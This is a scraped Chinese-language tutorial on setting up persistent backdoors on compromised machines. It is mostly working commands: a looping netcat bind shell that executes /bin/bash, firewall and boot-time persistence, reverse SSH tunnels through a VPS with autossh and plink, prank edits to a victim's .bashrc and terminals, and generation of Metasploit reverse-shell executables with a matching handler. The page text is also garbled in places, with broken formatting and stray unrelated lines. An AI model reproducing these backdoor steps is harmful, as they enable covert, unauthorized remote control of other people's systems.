打开应用保存高清大图
– 阻挡所有对于本机TCP 80 端口的入站通讯
C:\>netshadvfirewall firewall delete rule.
Linux工具集
根据目标环境针对性的编译下列软件,以便生成对应平台的即用二进制文件.
Autossh() Netcat( Compile it) Shred (core utils) () Screen ()
持续性连接脚本
默认情况下 GNU netcat 不支持持续性操作。每一次Accept并执行完命令以后,netcat就会断开连接。如果必须使 netcat 保持持续性状态,就需要使用循环语句不断的打开新的方式。
listener.sh 脚本
#!/bin/bashwhile [ 1 ]; do echo -n | netcat -l -v -p 445 -e /bin/bash done
1×01 在Linux上部署Netcat后门
在Linux上创建后门
将netcat 拷贝到平台能执行程序目录:cp netcat /usr/bin
添加防火墙入站规则, 开放445端口:
iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 445 -j ACCEPT
添加防火墙出站规则, 开放445端口:
iptables -A OUTPUT -p tcp --dport 445 -m conntrack --ctstate NEW -j ACCEPT
后台执行脚本:nohup./listener.sh &
添加开机启动
使用 /etc/rc.local 文件? 可是容易被人看到( ̄▽ ̄)'
Centos可以将开启脚本放到 /etc/rc.d/init.d/ 目录下
Debian可以将开启脚本放到 /etc/rc3.d/ 目录下
或者 /etc/rcN.d 其中n代表了运行级别。
连接后门:nc -v ipaddress port
打开应用保存高清大图
显示程序开启的
打开应用保存高清大图
端口:netstat -lptun
1×02 Linux 恶作剧
使用Perl脚本跟特定的防火墙规则将倒霉蛋电脑上所有网站截图都倒置过来。
– write 用户名
让电脑发出怪声:
perl -e '$b='bork'; while(){$l=`$_ 2>&1`; $l=~s/[A- Za-z]+/$b/g; print '$l$b\@$b:\$ ';}’
发送《星球大战》到别的用户终端
获取用户终端号
who someuserpts/0 2014-03-20 22:26 (x.x.x.2) root pts/1 2014-03-20 23:34 (x.x.x.2) telnet towel.blinkenlights.nl > /dev/pts/0
使用fortune和cowsay 发送有趣的信息
fortune | cowsay > /dev/pts/0
用Cmatrix发送弹幕
cmatrix > /dev/pts/1
还有更多的Linux恶作剧技巧:
echo -e '\a'
- 让喇叭发出告警声
while :do sleep 60 echo 'Follow the white rabbit.'done | write username
- 不间断的向终端发送消息
alias ls='echo 'Segmentation fault'' export PROMPT_COMMAND='ls'
- 将里面的代码添加到 ~username/.bashrc 文件中
每当运行ls命令的之后,回显结果看起来就像系统奔溃了一样
1×02 创建持续性的Netcat后门

保持程序后台运行的正确方式
nohup 命令 &
让执行的命令忽略所有的hangup信号
nohupcommand &
或者
- Ctrl-Z //暂停当前正在运行的程序
- Bg //在上个命令以后,将进程放到后台执行
- disown %1 //%1由jobs查询获取(
from-a-bash-shell/)
PHP编译器
·Bcompiler
·Phc
·Ioncube
·hhvm
· 更多的编译器
–
–
to-binary
1×03 Netcat 局限性
Netcat具有以下局限性:
· 容易被看到 · 容易被对方发觉,只要简单的联结到指定端口能够获得主机控制权限 · 程序原本跟传输的数据都不加密 · 本身不能太少,必须配合许多额外的工具
这些难题该怎么解决?
· 现在的NC后门,只能在同一个局域网中访问,而且需要添加额外的防火墙规则 · 在互联网上公开开放后门端口风险很大 . 你或许没有公网IP
1×04SSH隧道后门
创建持续性 SSH 隧道
大部分时候,你无法通过放置一台公网SSH服务器,来接收被控服务器的SSH逆向连接,以到达持续性控制的目的。
首先你得买一台VPS服务器(Virtual Private Server,默认都会提供一个独立IP给你). 并进入服务。在被控制服务器上进入SSH 逆向连接操作,连接到VPS服务器开启的端口。到此SSH中转控制已经完成。
现在你无法随时随地的控制目标服务器了,尽管你跟它可能都在内网之中.
打开应用保存高清大图
(:Reverse_ssh_tunnel.jpg)
逆向 SSH 隧道
ssh -f -N -R 10000:localhost:22 user@external_server -N不执行远程命令,只启动端口映射 (protocol version 2 only). -f后台认证用户/密码,通常和-N连用,不用登录至远程主机。 -R [绑定的地址:]绑定的端口:目标IP:目标端口
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这种的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向回来, 同时本地主机和 host 的 hostport 端口建立联结. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口
SSH 反向代理实例
ssh -f -N -R 10000:localhost:22 user@external_server
– 将对本机 22 端口访问映射到 external_server 的 10000 端口上。
ssh -f -N -R 10001:10.0.2.3:455 user@external_server
– 将对10.0.2.3服务器455端口的访问,映射external_server的10001端口上。
ssh -f -N -R 10001:10.0.2.3:455 -R 10000:localhost:22 user@external_server
– 同时开启多条映射规则
生成 SSH 密钥
ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: ad:c8:3a:3a:5c:fd:48:34:ad:f2:ac:63:29:70:0e:d0 root@test The key's randomart image is: ++
拷贝密钥到远程主机
ssh-copy-id –I /root/.ssh/id_rsa.pub'-p 2222 user@remotemachine'
打开应用保存高清大图
使用autossh构建持续性反向SHELL
autossh -M 10984 -N -f -o 'PubkeyAuthentication=yes' -o 'PasswordAuthentication=no' -i /root/.ssh/syspub -R 8888:localhost:22 user@remoteserver -p 2222 & -i /root/.ssh/syspub 本地 ssh 私钥 -M 端口 -o 'PubkeyAuthentication=yes” 明确申明使用密码验证 -o 'PasswordAuthentication=no' 明确申明不使用密码验证
Windows下构建SSH方向隧道
C:\>plink -P 22 -l username -pw password -C -R 5900:127.0.0.1:5900 -P SSH 服务器端口 -l SSH 服务用户登录名 -pw SSH 服务器用户登录密码 -C 开启压缩方式 -R 转发远程端口到本地
内网机:
将端口映射到远端服务器
打开应用保存高清大图
中转跳板机:
本地端口映射
mkfifo /tmp/tee nc -l -p 5555 0

打开应用保存高清大图
外网机:
连接跳板机, 获取内网服务器SHELL
打开应用保存高清大图
MyEnTunnel
类和 Autossh 类是可以提供持续性链接, 美中不足的是还会有托盘图标
打开应用保存高清大图
1×05 后门防护措施
中转服务器SSH账户安全问题
SSH账户可以注册中转服务器, 但必须限制其使用bash
这特别重要!!! 因为即使有人拿到你的SSH账户密码, 就可以随意的发动反向攻击获得你的服务器权限
当然你得做好服务器”被消失”的打算(运营商关闭, 或者有人投诉), 有第二手准备总是更可靠的(使用域名代替IP是个不错的选择)
禁用正常的shell 登录
在 /usr/bin 下构建一个具有迷惑性的登录脚本
#!/bin/bash trap '' 2 20 24 clearecho-e ':P Sorry No Dice' while [ true ] ; do sleep 500 done exit 0
给脚本添加可执行权限
chmod +x /usr/bin/tunnel_shell
测试运行反向SSH后门
1. 在中转服务器上建立一个用户Dk 2. 为受控制服务器上生成一对ssh公私钥 3. 将 ssh 公钥拷贝到中转服务器的/home/Dk/.ssh目录下, 并重命名为authorized_keys 4. 修改中转服务器的 /etc/password 文件, 将/bin/bash修改成/usr/bin/tunnel_shell, 或者完全删除登录shell字段 5. 通过 cron,at,autossh, 运行反向SSH后门
强化中转服务器安全性
修改ssh文件夹权限
chmod 700 ~/.ssh
修改 /etc/passwd 屏蔽登录shell
禁止代理账户注册服务器
user:x:300:300::/home/rshelluser:/bin/bash
1×06 用Metasploit做后门
· 首先你必须一台安装了 Metasploit 的电脑(Kali 安装), 用来接收反向 shell 连接.
· 开启 metasploit
– Msfconsole
· 更新 metasploit
– msfupdate
· get updates for metasploit
二进制Payload
· 使用二进制 payload 替代netcat.
· msfpayload windows/shell_reverse_tcp O
– O command show all options
基础设置 :
Name Current Setting Required Description ---- -------- EXITFUNC seh yes Exit technique: seh, thread, process LHOST yes The local address LPORT 4444 yes The local port
说明:
生成一个方向连接的payload, 在目标电脑运行期间, 就会反弹一个SHELL回来.
例子
msfpayload windows/shell_reverse_tcp LHOST=metasploit_server_ip LPORT=listening_port_on_server_ip O msfpayload –h – 显示所有可用的防御载荷 /payload/path O – 显示所有攻击载荷选项: /payload/path X > payload.exe – 生成独立的Windows二进制文件: /payload/path R > payload.raw – 生成 raw 格式文件: /payload/path C > payload.c – 生成 C 源码. /payload/path J > payload.java – 生成java源码
创建一个payload
生成独立的能执行的二进制后门文件:
msfpayload windows/shell_reverse_tcp LHOST=10.10.10.123 LPORT=7777 x > /tmp/david_hasselhoff.exe
查看文件信息:
file/tmp/david_hasselhoff.exe PE32 executable (GUI) Intel 80386, for MS Windows
二进制payload执行后, 远程服务器将会反弹一个cmdshell连接到10.10.10.123服务器的7777端口上
设置msfconsole指定端口
启动 msfconsole
msfconsole use exploit/multi/handler setpayloadwindows/shell/reverse_tcp set LHOST 10.10.10.123 set LPORT 7777 exploit
– msf 将会在7777端口等待远端shell 反弹
后门成功执行后
打开应用保存高清大图
打开应用保存高清大图
打开应用保存高清大图
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-135648-2.html
我们国家可以把土地重复利用我们也可以用好多年的积蓄买一套二三线城市的房